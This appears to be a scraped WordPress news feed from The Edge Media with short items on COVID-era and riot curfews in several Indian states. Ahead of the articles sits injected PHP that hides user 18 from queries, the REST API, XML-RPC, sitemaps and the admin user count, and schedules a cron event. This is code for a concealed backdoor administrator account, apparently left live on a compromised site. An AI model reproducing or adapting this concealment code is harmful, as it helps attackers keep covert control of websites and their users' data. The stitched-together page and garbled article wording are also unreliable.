add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Maharashtra: Curfew announced amid more violence in Amravati; shops, private property destroyed appeared first on The Edge Media.
]]>
Around 10 a.m., numerous television outlets broadcast footage of a mob damaging businesses in the sight of police officers, including a female cop who is seen slapping them.
The post Maharashtra: Curfew announced amid more violence in Amravati; shops, private property destroyed appeared first on The Edge Media.
]]>The post Curfew in Himachal Pradesh extended appeared first on The Edge Media.
]]>The decision to extend the curfew was taken on Friday in the cabinet meeting chaired by Chief Minister Jai Ram Thakur.
The curfew will continue from 5 pm to 5 am in the state till further orders, the spokesperson added.
Earlier the shops were allowed to open from 9 am to 2 pm, but now they will remain open form 9am to 5pm. However, the shops except those of essential commodities will remain closed on Saturdays and Sundays.
The spokeperson said, It was also decided that the offices will function with 50 per cent of staff from Monday.
All the medical colleges, ayurvedic colleges and dental colleges will open from June 23.
Pharmacy and nursing schools will open from June 28.
Now there will be no requirement of RT-PCR negative tests for entering in the state, he concluded.
The post Curfew in Himachal Pradesh extended appeared first on The Edge Media.
]]>The post Covid-19 curfew extended in few districts of Manipur till 28 May appeared first on The Edge Media.
]]>Manipur recorded its highest single-day increase of 726 new covid cases, summing up the total number to 38,322. Imphal West records a maximum number of cases at 290, and followed by Imphal East at 200.
Many have recovered from the virus with a total number of recovery to 31,872.
The post Covid-19 curfew extended in few districts of Manipur till 28 May appeared first on The Edge Media.
]]>The post 35-hour corona curfew to be held in UP from 8 pm on Saturday night appeared first on The Edge Media.
]]>During this period, the Sanitation and Fogging will be carried out by the Fire Department at the Municipal Corporation, Nagar Panchayat and Gram Panchayat level and by the sugar mills by running a special campaign for cleanliness.
The Chief Secretary has instructed the officials to ensure the imperative of masks in cities and rural areas. Failure to comply with this should be punished with a fine of Rs 1000 for the first time and a maximum fine of Rs 10,000 for the second time.
Instructions have been given to make the police station responsible for enforcing the imperative of masks. Senior officers of police and administration will also inspect the main roads, squares and markets and implement the imperative of masks.
According to the mandate of the Revenue Department and Health Department’s guide line in each district, instructions have been given to make the Quarantine Center available today i.e. by Thursday night.
The District Magistrate and the Revenue Officer concerned will be responsible for the districts from which this information is not given till Thursday night. Instructions have been given to police officers at the district level to review the arrangements made to prevent infection of corona in police personnel.
Camps have been asked to be conducted in the police line. Instructions have been given to the fire department for daily fogging on the police line, police post, police station and police office.
The Commissioner of Police, District Magistrate, Senior Superintendent of Police, Superintendents of Police have been instructed to ensure the system of screening and testing at railway stations, bus stations and airports.
Drug inspectors have been asked to arrange oxygen supply in government, private hospitals, private medical colleges.
The Chief Secretary has said that resources are needed to protect covid-19 in male corporations. The municipal corporations have been asked to immediately send the demand letter to the Municipal Development Department and the Revenue Department.
The post 35-hour corona curfew to be held in UP from 8 pm on Saturday night appeared first on The Edge Media.
]]>The post Night curfew in Delhi from 10 to 5 in the night appeared first on The Edge Media.
]]> 2. Only those people who are exempted from the night curfew will be allowed to sit in such modes of public transport.
3. Leave to leave the house to get vaccinated at night, but e-pass will have to be made
4. Shoppers of ration, general, fruits, vegetables, medical stores will also have to make e-passes.
5. People associated with print and electronic media will also have to take e-pass.6. If you are going to the airport, railway station, bus terminal then you have to show the ticket, then you will get the exemption from the curfew
7. Private doctors, nurses, paramedical staff exempted from night curfew, they have to show identity card
8. There is no restriction for pregnant women and patients going for treatment.
Purpose of prohibiting non-essential activities In fact, the government says that the basic purpose of the night curfew is to curb the non-essential activities of the people. People who provide essential services and those who are discharged from essential work and freight operations will be outside the purview of the night curfew. Night curfew will be imposed from 10 to 5 in the night. Keep in mind that night curfew is also applicable in Maharashtra, but there is a night curfew in force from 8 o’clock.
Special features of night curfew in Delhi In Delhi, between 10 am and 5 am, it will be prohibited to get out of the house and roam on the streets. Those who violate this rule will have to pay a fine. According to different categories, some people will be exempted from the night curfew. In these, people connected with different types of essential services will be allowed to move. Some people will be exempted from the night curfew after showing e-passes. They will be issued an e-pass from the appropriate authority.
Freight work in the night curfew will not be affected. The order clearly states that interstate and intrastate movements, transportation (goods) will not be banned. The government directive states that drivers will not have to make separate clearance or e-pass to move goods in or out of Delhi.
The post Night curfew in Delhi from 10 to 5 in the night appeared first on The Edge Media.
]]>The post Night curfew in Ahmedabad from tonight appeared first on The Edge Media.
]]>The post Night curfew in Ahmedabad from tonight appeared first on The Edge Media.
]]>